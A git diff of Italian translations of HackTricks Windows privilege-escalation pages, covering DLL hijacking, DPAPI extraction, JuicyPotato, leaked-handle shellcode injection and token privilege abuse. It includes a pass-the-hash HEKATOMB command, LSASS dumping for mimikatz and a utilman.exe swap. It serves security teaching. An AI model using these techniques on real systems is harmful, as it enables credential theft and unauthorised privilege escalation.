[**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) per ottenere il percorso di questa directory. (_C:\Windows_) 5. La directory corrente. 6. Le directory elencate nella variabile di ambiente PATH. Nota che questo non include il percorso per applicazione specificato dalla chiave di registro **App Paths**. La chiave **App Paths** non viene utilizzata quando si calcola il percorso di ricerca del DLL. -Questo è l'**ordine di ricerca predefinito** con **SafeDllSearchMode** abilitato. Quando è disabilitato, la directory corrente sale al secondo posto. Per disabilitare questa funzione, crea il valore di registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** e impostalo su 0 (il predefinito è abilitato). +Questo è l'**ordine di ricerca predefinito** con **SafeDllSearchMode** abilitato. Quando è disabilitato, la directory corrente sale al secondo posto. Per disabilitare questa funzionalità, crea il valore di registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** e impostalo su 0 (il predefinito è abilitato). Se la funzione [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) viene chiamata con **LOAD_WITH_ALTERED_SEARCH_PATH**, la ricerca inizia nella directory del modulo eseguibile che **LoadLibraryEx** sta caricando. -Infine, nota che **un dll potrebbe essere caricato indicando il percorso assoluto invece del solo nome**. In quel caso, quel dll è **solo cercato in quel percorso** (se il dll ha dipendenze, verranno cercate come se fossero state caricate solo per nome). +Infine, nota che **un DLL potrebbe essere caricato indicando il percorso assoluto invece del solo nome**. In tal caso, quel DLL è **cercato solo in quel percorso** (se il DLL ha dipendenze, queste verranno cercate come se fossero state caricate solo per nome). -Ci sono altri modi per alterare i modi di alterare l'ordine di ricerca, ma non spiegherò qui. +Ci sono altri modi per alterare i modi di alterare l'ordine di ricerca, ma non li spiegherò qui. -#### Exceptions on dll search order from Windows docs +#### Eccezioni all'ordine di ricerca del DLL dalla documentazione di Windows -Alcune eccezioni all'ordine di ricerca standard dei DLL sono annotate nella documentazione di Windows: +Alcune eccezioni all'ordine di ricerca standard del DLL sono annotate nella documentazione di Windows: -- Quando si incontra un **DLL che condivide il proprio nome con uno già caricato in memoria**, il sistema salta la ricerca abituale. Invece, esegue un controllo per la reindirizzazione e un manifesto prima di tornare al DLL già in memoria. **In questo scenario, il sistema non esegue una ricerca per il DLL**. +- Quando si incontra un **DLL che condivide il proprio nome con uno già caricato in memoria**, il sistema salta la ricerca abituale. Invece, esegue un controllo per il reindirizzamento e un manifesto prima di tornare al DLL già in memoria. **In questo scenario, il sistema non esegue una ricerca per il DLL**. - Nei casi in cui il DLL è riconosciuto come un **DLL noto** per la versione corrente di Windows, il sistema utilizzerà la sua versione del DLL noto, insieme a qualsiasi DLL dipendente, **saltando il processo di ricerca**. La chiave di registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene un elenco di questi DLL noti. - Se un **DLL ha dipendenze**, la ricerca di questi DLL dipendenti viene condotta come se fossero indicati solo dai loro **nomi di modulo**, indipendentemente dal fatto che il DLL iniziale sia stato identificato tramite un percorso completo. -### Escalating Privileges +### Elevare i privilegi **Requisiti**: -- Identificare un processo che opera o opererà con **privilegi diversi** (movimento orizzontale o laterale), che è **privo di un DLL**. -- Assicurarsi che ci sia **accesso in scrittura** per qualsiasi **directory** in cui il **DLL** sarà **cercato**. Questa posizione potrebbe essere la directory dell'eseguibile o una directory all'interno del percorso di sistema. +- Identificare un processo che opera o opererà con **privilegi diversi** (movimento orizzontale o laterale), che **manca di un DLL**. +- Assicurarsi che sia disponibile **accesso in scrittura** per qualsiasi **directory** in cui il **DLL** sarà **cercato**. Questa posizione potrebbe essere la directory dell'eseguibile o una directory all'interno del percorso di sistema. -Sì, i requisiti sono complicati da trovare poiché **per impostazione predefinita è piuttosto strano trovare un eseguibile privilegiato privo di un dll** ed è ancora **più strano avere permessi di scrittura su una cartella di sistema** (non puoi per impostazione predefinita). Ma, in ambienti mal configurati, questo è possibile.\ +Sì, i requisiti sono complicati da trovare poiché **per impostazione predefinita è piuttosto strano trovare un eseguibile privilegiato mancante di un DLL** ed è ancora **più strano avere permessi di scrittura su una cartella di sistema** (non puoi per impostazione predefinita). Ma, in ambienti mal configurati, questo è possibile.\ Nel caso tu sia fortunato e ti trovi a soddisfare i requisiti, potresti controllare il progetto [UACME](https://github.com/hfiref0x/UACME). Anche se il **principale obiettivo del progetto è bypassare UAC**, potresti trovare lì un **PoC** di un Dll hijacking per la versione di Windows che puoi utilizzare (probabilmente cambiando solo il percorso della cartella in cui hai permessi di scrittura). Nota che puoi **controllare i tuoi permessi in una cartella** facendo: @@ -112,13 +106,13 @@ Altri strumenti automatizzati interessanti per scoprire questa vulnerabilità so ### Esempio Nel caso tu trovi uno scenario sfruttabile, una delle cose più importanti per sfruttarlo con successo sarebbe **creare un dll che esporta almeno tutte le funzioni che l'eseguibile importerà da esso**. Comunque, nota che Dll Hijacking è utile per [escalare da Medium Integrity level a High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/#uac) o da [**High Integrity a SYSTEM**](../#from-high-integrity-to-system)**.** Puoi trovare un esempio di **come creare un dll valido** all'interno di questo studio di dll hijacking focalizzato sul dll hijacking per l'esecuzione: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ -Inoltre, nella **prossima sezione** puoi trovare alcuni **codici dll di base** che potrebbero essere utili come **template** o per creare un **dll con funzioni non richieste esportate**. +Inoltre, nella **prossima sezione** puoi trovare alcuni **codici dll di base** che potrebbero essere utili come **modelli** o per creare un **dll con funzioni non richieste esportate**. ## **Creazione e compilazione di Dlls** ### **Dll Proxifying** -Fondamentalmente un **Dll proxy** è un Dll capace di **eseguire il tuo codice malevolo quando caricato** ma anche di **esporre** e **funzionare** come **previsto** **rilanciando tutte le chiamate alla vera libreria**. +Fondamentalmente, un **Dll proxy** è un Dll capace di **eseguire il tuo codice malevolo quando caricato** ma anche di **esporre** e **funzionare** come **previsto** **inoltrando tutte le chiamate alla vera libreria**. Con lo strumento [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) o [**Spartacus**](https://github.com/Accenture/Spartacus) puoi effettivamente **indicare un eseguibile e selezionare la libreria** che vuoi proxificare e **generare un dll proxificato** oppure **indicare il Dll** e **generare un dll proxificato**. @@ -224,10 +218,5 @@ return TRUE; - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) -
- -**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index 3583a067d..f8657cc5e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -6,7 +6,7 @@ ## Cos'è DPAPI -L'API di Protezione Dati (DPAPI) è principalmente utilizzata all'interno del sistema operativo Windows per la **cifratura simmetrica di chiavi private asimmetriche**, sfruttando segreti utente o di sistema come una fonte significativa di entropia. Questo approccio semplifica la cifratura per gli sviluppatori consentendo loro di cifrare i dati utilizzando una chiave derivata dai segreti di accesso dell'utente o, per la cifratura di sistema, dai segreti di autenticazione del dominio del sistema, eliminando così la necessità per gli sviluppatori di gestire la protezione della chiave di cifratura. +L'API di Protezione Dati (DPAPI) è utilizzata principalmente all'interno del sistema operativo Windows per la **cifratura simmetrica di chiavi private asimmetriche**, sfruttando segreti utente o di sistema come una fonte significativa di entropia. Questo approccio semplifica la cifratura per gli sviluppatori consentendo loro di cifrare i dati utilizzando una chiave derivata dai segreti di accesso dell'utente o, per la cifratura di sistema, dai segreti di autenticazione del dominio del sistema, eliminando così la necessità per gli sviluppatori di gestire la protezione della chiave di cifratura. ### Dati Protetti da DPAPI @@ -76,7 +76,7 @@ Controlla il post [https://www.ired.team/offensive-security/credential-access-an ## HEKATOMB -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) è uno strumento che automatizza l'estrazione di tutti gli utenti e computer dal directory LDAP e l'estrazione della chiave di backup del controller di dominio tramite RPC. Lo script risolverà quindi tutti gli indirizzi IP dei computer e eseguirà un smbclient su tutti i computer per recuperare tutti i blob DPAPI di tutti gli utenti e decrittografare tutto con la chiave di backup del dominio. +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) è uno strumento che automatizza l'estrazione di tutti gli utenti e computer dalla directory LDAP e l'estrazione della chiave di backup del controller di dominio tramite RPC. Lo script risolverà quindi tutti gli indirizzi IP dei computer e eseguirà un smbclient su tutti i computer per recuperare tutti i blob DPAPI di tutti gli utenti e decrittografare tutto con la chiave di backup del dominio. `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` @@ -86,7 +86,7 @@ Con l'elenco dei computer estratti da LDAP puoi trovare ogni sottorete anche se ## DonPAPI -[**DonPAPI**](https://github.com/login-securite/DonPAPI) può dumpare segreti protetti da DPAPI automaticamente. +[**DonPAPI**](https://github.com/login-securite/DonPAPI) può estrarre segreti protetti da DPAPI automaticamente. ## Riferimenti diff --git a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md index 60b7736d7..4f6da09c7 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md +++ b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md @@ -6,7 +6,7 @@ In Windows Vista e versioni successive, tutti gli elementi protetti hanno un'etichetta di **livello di integrità**. Questa configurazione assegna principalmente un livello di integrità "medio" a file e chiavi di registro, tranne per alcune cartelle e file a cui Internet Explorer 7 può scrivere a un livello di integrità basso. Il comportamento predefinito è che i processi avviati da utenti standard abbiano un livello di integrità medio, mentre i servizi operano tipicamente a un livello di integrità di sistema. Un'etichetta di alta integrità protegge la directory radice. -Una regola fondamentale è che gli oggetti non possono essere modificati da processi con un livello di integrità inferiore a quello dell'oggetto. I livelli di integrità sono: +Una regola chiave è che gli oggetti non possono essere modificati da processi con un livello di integrità inferiore a quello dell'oggetto. I livelli di integrità sono: - **Non attendibile**: Questo livello è per processi con accessi anonimi. %%%Esempio: Chrome%%% - **Basso**: Principalmente per interazioni internet, specialmente nella Modalità Protetta di Internet Explorer, che influisce su file e processi associati, e su alcune cartelle come la **Cartella Temporanea di Internet**. I processi a bassa integrità affrontano restrizioni significative, inclusa l'assenza di accesso in scrittura al registro e accesso limitato in scrittura al profilo utente. @@ -37,7 +37,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC) NT AUTHORITY\SERVICE:(I)(M,DC) NT AUTHORITY\BATCH:(I)(M,DC) ``` -Ora, assegniamo un livello di integrità minimo di **High** al file. Questo **deve essere fatto da una console** eseguita come **amministratore** poiché una **console regolare** funzionerà a livello di integrità Medio e **non sarà autorizzata** ad assegnare un livello di integrità High a un oggetto: +Ora, assegniamo un livello di integrità minimo di **High** al file. Questo **deve essere fatto da una console** eseguita come **amministratore** poiché una **console regolare** verrà eseguita a livello di integrità Medio e **non sarà autorizzata** ad assegnare un livello di integrità High a un oggetto: ``` icacls asd.txt /setintegritylevel(oi)(ci) High processed file: asd.txt diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 36954834f..00286c956 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -9,17 +9,17 @@ roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (abusing the golden privileges) +## Juicy Potato (abuso dei privilegi dorati) _Versione zuccherata di_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, con un po' di succo, cioè **un altro strumento di escalation dei privilegi locali, da un Windows Service Accounts a NT AUTHORITY\SYSTEM**_ #### Puoi scaricare juicypotato da [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### Summary +### Riepilogo [**Dal Readme di juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e le sue [varianti](https://github.com/decoder-it/lonelypotato) sfruttano la catena di escalation dei privilegi basata su [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) avendo il listener MiTM su `127.0.0.1:6666` e quando hai privilegi `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui `BITS` era intenzionalmente disabilitato e la porta `6666` era occupata. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e le sue [varianti](https://github.com/decoder-it/lonelypotato) sfruttano la catena di escalation dei privilegi basata su [`BITS`]() [servizio](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) che ha il listener MiTM su `127.0.0.1:6666` e quando hai privilegi `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui `BITS` era intenzionalmente disabilitato e la porta `6666` era occupata. Abbiamo deciso di armare [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Dì ciao a Juicy Potato**. @@ -29,28 +29,28 @@ Abbiamo scoperto che, oltre a `BITS`, ci sono diversi server COM che possiamo sf 1. essere istanziabili dall'utente corrente, normalmente un "utente di servizio" che ha privilegi di impersonificazione 2. implementare l'interfaccia `IMarshal` -3. essere eseguiti come utente elevato (SYSTEM, Administrator, …) +3. essere eseguiti come utente elevato (SYSTEM, Amministratore, …) Dopo alcuni test abbiamo ottenuto e testato un elenco esteso di [CLSID interessanti](http://ohpe.it/juicy-potato/CLSID/) su diverse versioni di Windows. -### Juicy details +### Dettagli succosi JuicyPotato ti consente di: -- **Target CLSID** _scegli qualsiasi CLSID tu voglia._ [_Qui_](http://ohpe.it/juicy-potato/CLSID/) _puoi trovare l'elenco organizzato per OS._ -- **COM Listening port** _definisci la porta di ascolto COM che preferisci (anziché il 6666 hardcoded)_ -- **COM Listening IP address** _collega il server a qualsiasi IP_ -- **Process creation mode** _a seconda dei privilegi dell'utente impersonato puoi scegliere tra:_ +- **CLSID di destinazione** _scegli qualsiasi CLSID tu voglia._ [_Qui_](http://ohpe.it/juicy-potato/CLSID/) _puoi trovare l'elenco organizzato per OS._ +- **Porta di ascolto COM** _definisci la porta di ascolto COM che preferisci (anziché il 6666 hardcoded)_ +- **Indirizzo IP di ascolto COM** _collega il server a qualsiasi IP_ +- **Modalità di creazione del processo** _a seconda dei privilegi dell'utente impersonato puoi scegliere tra:_ - `CreateProcessWithToken` (richiede `SeImpersonate`) - `CreateProcessAsUser` (richiede `SeAssignPrimaryToken`) - `entrambi` -- **Process to launch** _lancia un eseguibile o uno script se lo sfruttamento ha successo_ -- **Process Argument** _personalizza gli argomenti del processo lanciato_ -- **RPC Server address** _per un approccio furtivo puoi autenticarti a un server RPC esterno_ -- **RPC Server port** _utile se vuoi autenticarti a un server esterno e il firewall blocca la porta `135`…_ -- **TEST mode** _principalmente per scopi di test, cioè testare i CLSID. Crea il DCOM e stampa l'utente del token. Vedi_ [_qui per il test_](http://ohpe.it/juicy-potato/Test/) +- **Processo da avviare** _avvia un eseguibile o uno script se lo sfruttamento ha successo_ +- **Argomento del processo** _personalizza gli argomenti del processo avviato_ +- **Indirizzo del server RPC** _per un approccio furtivo puoi autenticarti a un server RPC esterno_ +- **Porta del server RPC** _utile se vuoi autenticarti a un server esterno e il firewall blocca la porta `135`…_ +- **Modalità TEST** _principalmente per scopi di test, cioè testare i CLSID. Crea il DCOM e stampa l'utente del token. Vedi_ [_qui per il test_](http://ohpe.it/juicy-potato/Test/) -### Usage +### Utilizzo ``` T:\>JuicyPotato.exe JuicyPotato v0.1 diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md index 1c747b773..f48326818 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md @@ -41,7 +41,7 @@ In [**questo eccellente articolo**](http://dronesec.pw/blog/2019/08/22/exploitin Se un **processo non privilegiato eredita** un **handle** con permessi equivalenti di **scrittura** su un **file o registro privilegiato**, sarà in grado di **sovrascrivere** il file/registro (e con un po' di **fortuna**, **escalare privilegi**). -**Gli Handle di Sezione** sono simili agli handle di file, il nome comune di questo tipo di [oggetti è **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Vengono utilizzati per lavorare con **file di grandi dimensioni senza mantenere l'intero** file in memoria. Questo rende l'exploitation "simile" all'exploitation di un File Handle. +**Gli Handle di Sezione** sono simili agli handle di file, il nome comune di questo tipo di [oggetti è **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Vengono utilizzati per lavorare con **file di grandi dimensioni senza mantenere l'intero** file in memoria. Questo rende l'exploitation "simile" all'exploitation di un Handle di File. ## Come vedere gli handle dei processi @@ -67,7 +67,7 @@ Il [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle ### LeakedHandlesFinder -[**Questo strumento**](https://github.com/lab52io/LeakedHandlesFinder) ti consente di **monitorare** gli handle **leakati** e persino di **auto-sfruttarli** per escalare privilegi. +[**Questo strumento**](https://github.com/lab52io/LeakedHandlesFinder) ti consente di **monitorare** gli **handle** leakati e persino di **auto-sfruttarli** per escalare privilegi. ### Metodologia @@ -293,11 +293,11 @@ return 0; ### Esempio di Exploit 1 > [!NOTE] -> In uno scenario reale probabilmente **non sarai in grado di controllare il binario** che verrà eseguito dal codice vulnerabile (_C:\users\username\desktop\client.exe_ in questo caso). Probabilmente comprometterai un processo e dovrai verificare se puoi accedere a qualche handle vulnerabile di un processo privilegiato. +> In uno scenario reale probabilmente **non sarai in grado di controllare il binario** che verrà eseguito dal codice vulnerabile (_C:\users\username\desktop\client.exe_ in questo caso). Probabilmente **comprometterai un processo e dovrai verificare se puoi accedere a qualche handle vulnerabile di un processo privilegiato**. In questo esempio puoi trovare il codice di un possibile exploit per _C:\users\username\desktop\client.exe_.\ -La parte più interessante di questo codice si trova in `GetVulnProcHandle`. Questa funzione **inizierà a recuperare tutti gli handle**, poi **verificherà se uno di essi appartiene allo stesso PID** e se l'handle appartiene a un **processo**. Se tutti questi requisiti sono soddisfatti (viene trovato un handle di processo aperto accessibile), tenterà di **iniettare ed eseguire un shellcode abusando dell'handle del processo**.\ -L'iniezione del shellcode avviene all'interno della funzione **`Inject`** e semplicemente **scriverà il shellcode all'interno del processo privilegiato e creerà un thread all'interno dello stesso processo** per eseguire il shellcode). +La parte più interessante di questo codice si trova in `GetVulnProcHandle`. Questa funzione **inizierà a recuperare tutti gli handle**, poi **verificherà se uno di essi appartiene allo stesso PID** e se l'handle appartiene a un **processo**. Se tutti questi requisiti sono soddisfatti (viene trovato un handle di processo aperto accessibile), prova a **iniettare ed eseguire un shellcode abusando dell'handle del processo**.\ +L'iniezione del shellcode avviene all'interno della funzione **`Inject`** e **scriverà semplicemente il shellcode all'interno del processo privilegiato e creerà un thread all'interno dello stesso processo** per eseguire il shellcode). ```c #include #include @@ -672,11 +672,11 @@ return 0; - [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder) -Questo strumento ti consente di monitorare i handle leak per trovare quelli vulnerabili e persino di sfruttarli automaticamente. Ha anche uno strumento per crearne uno. +Questo strumento ti consente di monitorare i handle leak per trovare quelli vulnerabili e persino di sfruttarli automaticamente. Ha anche uno strumento per provocare un leak. - [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles) -Un altro strumento per creare un handle leak e sfruttarlo. +Un altro strumento per provocare un leak di un handle e sfruttarlo. ## Riferimenti diff --git a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md index ec4315cdc..4229a8f88 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md +++ b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Scarica l'applicazione gratuita da [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/), eseguila e avvolgi il binario "maligno" in essa.\ +Scarica l'applicazione della versione gratuita da [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/), eseguila e avvolgi il binario "maligno" su di essa.\ Nota che puoi avvolgere un "**.bat**" se vuoi **solo** **eseguire** **comandi (invece di cmd.exe seleziona il file .bat)** ![](<../../images/image (417).png>) diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index 25125d52d..b35b1b8ee 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -14,7 +14,7 @@ access-tokens.md ### SeImpersonatePrivilege -Questo è un privilegio detenuto da qualsiasi processo che consente l'impersonificazione (ma non la creazione) di qualsiasi token, a condizione che si possa ottenere un handle. Un token privilegiato può essere acquisito da un servizio Windows (DCOM) inducendolo a eseguire l'autenticazione NTLM contro un exploit, abilitando successivamente l'esecuzione di un processo con privilegi SYSTEM. Questa vulnerabilità può essere sfruttata utilizzando vari strumenti, come [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (che richiede winrm disabilitato), [SweetPotato](https://github.com/CCob/SweetPotato) e [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +Questo è un privilegio detenuto da qualsiasi processo che consente l'impersonificazione (ma non la creazione) di qualsiasi token, a condizione che si possa ottenere un handle. Un token privilegiato può essere acquisito da un servizio Windows (DCOM) inducendolo a eseguire l'autenticazione NTLM contro un exploit, abilitando successivamente l'esecuzione di un processo con privilegi SYSTEM. Questa vulnerabilità può essere sfruttata utilizzando vari strumenti, come [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (che richiede che winrm sia disabilitato), [SweetPotato](https://github.com/CCob/SweetPotato) e [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} roguepotato-and-printspoofer.md @@ -26,13 +26,13 @@ juicypotato.md ### SeAssignPrimaryPrivilege -È molto simile a **SeImpersonatePrivilege**, utilizzerà il **stesso metodo** per ottenere un token privilegiato.\ -Poi, questo privilegio consente **di assegnare un token primario** a un nuovo/processo sospeso. Con il token di impersonificazione privilegiato puoi derivare un token primario (DuplicateTokenEx).\ +È molto simile a **SeImpersonatePrivilege**, utilizzerà lo **stesso metodo** per ottenere un token privilegiato.\ +Poi, questo privilegio consente **di assegnare un token primario** a un nuovo processo/sospeso. Con il token di impersonificazione privilegiato puoi derivare un token primario (DuplicateTokenEx).\ Con il token, puoi creare un **nuovo processo** con 'CreateProcessAsUser' o creare un processo sospeso e **impostare il token** (in generale, non puoi modificare il token primario di un processo in esecuzione). ### SeTcbPrivilege -Se hai abilitato questo token puoi usare **KERB_S4U_LOGON** per ottenere un **token di impersonificazione** per qualsiasi altro utente senza conoscere le credenziali, **aggiungere un gruppo arbitrario** (amministratori) al token, impostare il **livello di integrità** del token su "**medio**" e assegnare questo token al **thread corrente** (SetThreadToken). +Se hai abilitato questo token puoi utilizzare **KERB_S4U_LOGON** per ottenere un **token di impersonificazione** per qualsiasi altro utente senza conoscere le credenziali, **aggiungere un gruppo arbitrario** (amministratori) al token, impostare il **livello di integrità** del token su "**medio**" e assegnare questo token al **thread corrente** (SetThreadToken). ### SeBackupPrivilege @@ -64,7 +64,7 @@ SeCreateTokenPrivilege è un permesso potente, particolarmente utile quando un u ### SeLoadDriverPrivilege -Questo privilegio consente di **caricare e scaricare driver di dispositivo** con la creazione di una voce di registro con valori specifici per `ImagePath` e `Type`. Poiché l'accesso in scrittura diretto a `HKLM` (HKEY_LOCAL_MACHINE) è ristretto, è necessario utilizzare `HKCU` (HKEY_CURRENT_USER). Tuttavia, per rendere `HKCU` riconoscibile dal kernel per la configurazione del driver, deve essere seguita una specifica strada. +Questo privilegio consente di **caricare e scaricare driver di dispositivo** con la creazione di una voce di registro con valori specifici per `ImagePath` e `Type`. Poiché l'accesso in scrittura diretto a `HKLM` (HKEY_LOCAL_MACHINE) è limitato, è necessario utilizzare `HKCU` (HKEY_CURRENT_USER). Tuttavia, per rendere `HKCU` riconoscibile dal kernel per la configurazione del driver, deve essere seguita una specifica path. Questo percorso è `\Registry\User\\System\CurrentControlSet\Services\DriverName`, dove `` è l'Identificatore Relativo dell'utente corrente. All'interno di `HKCU`, deve essere creato l'intero percorso e devono essere impostati due valori: @@ -73,7 +73,7 @@ Questo percorso è `\Registry\User\\System\CurrentControlSet\Services\Drive **Passi da Seguire:** -1. Accedi a `HKCU` invece di `HKLM` a causa dell'accesso in scrittura ristretto. +1. Accedi a `HKCU` invece di `HKLM` a causa dell'accesso in scrittura limitato. 2. Crea il percorso `\Registry\User\\System\CurrentControlSet\Services\DriverName` all'interno di `HKCU`, dove `` rappresenta l'Identificatore Relativo dell'utente corrente. 3. Imposta `ImagePath` sul percorso di esecuzione del binario. 4. Assegna `Type` come `SERVICE_KERNEL_DRIVER` (`0x00000001`). @@ -114,7 +114,7 @@ Questo privilegio consente di **debuggare altri processi**, inclusa la lettura e #### Dump della memoria -Puoi utilizzare [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) dalla [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) per **catturare la memoria di un processo**. In particolare, questo può applicarsi al processo **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)**, che è responsabile della memorizzazione delle credenziali utente una volta che un utente ha effettuato l'accesso con successo a un sistema. +Puoi utilizzare [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) dalla [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) per **catturare la memoria di un processo**. In particolare, questo può applicarsi al processo **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)**, che è responsabile della memorizzazione delle credenziali degli utenti una volta che un utente ha effettuato l'accesso con successo a un sistema. Puoi quindi caricare questo dump in mimikatz per ottenere le password: ``` @@ -158,7 +158,7 @@ Scheda completa dei privilegi dei token su [https://github.com/gtworek/Priv2Admi | **`SeAssignPrimaryToken`** | _**Admin**_ | Strumento di terze parti | _"Consentirebbe a un utente di impersonare token e privesc al sistema nt utilizzando strumenti come potato.exe, rottenpotato.exe e juicypotato.exe"_ | Grazie a [Aurélien Chalot](https://twitter.com/Defte_) per l'aggiornamento. Proverò a riformularlo in qualcosa di più simile a una ricetta presto. | | **`SeBackup`** | **Minaccia** | _**Comandi integrati**_ | Leggi file sensibili con `robocopy /b` |

- Potrebbe essere più interessante se puoi leggere %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (e robocopy) non è utile quando si tratta di file aperti.

- Robocopy richiede sia SeBackup che SeRestore per funzionare con il parametro /b.

| | **`SeCreateToken`** | _**Admin**_ | Strumento di terze parti | Crea token arbitrari inclusi i diritti di amministratore locale con `NtCreateToken`. | | -| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplica il token `lsass.exe`. | Script da trovare su [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplica il token di `lsass.exe`. | Script disponibile su [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | | **`SeLoadDriver`** | _**Admin**_ | Strumento di terze parti |

1. Carica un driver del kernel difettoso come szkg64.sys
2. Sfrutta la vulnerabilità del driver

In alternativa, il privilegio può essere utilizzato per scaricare driver relativi alla sicurezza con il comando integrato ftlMC. i.e.: fltMC sysmondrv

|

1. La vulnerabilità szkg64 è elencata come CVE-2018-15732
2. Il szkg64 codice di sfruttamento è stato creato da Parvez Anwar

| | **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Avvia PowerShell/ISE con il privilegio SeRestore presente.
2. Abilita il privilegio con Enable-SeRestorePrivilege).
3. Rinomina utilman.exe in utilman.old
4. Rinomina cmd.exe in utilman.exe
5. Blocca la console e premi Win+U

|

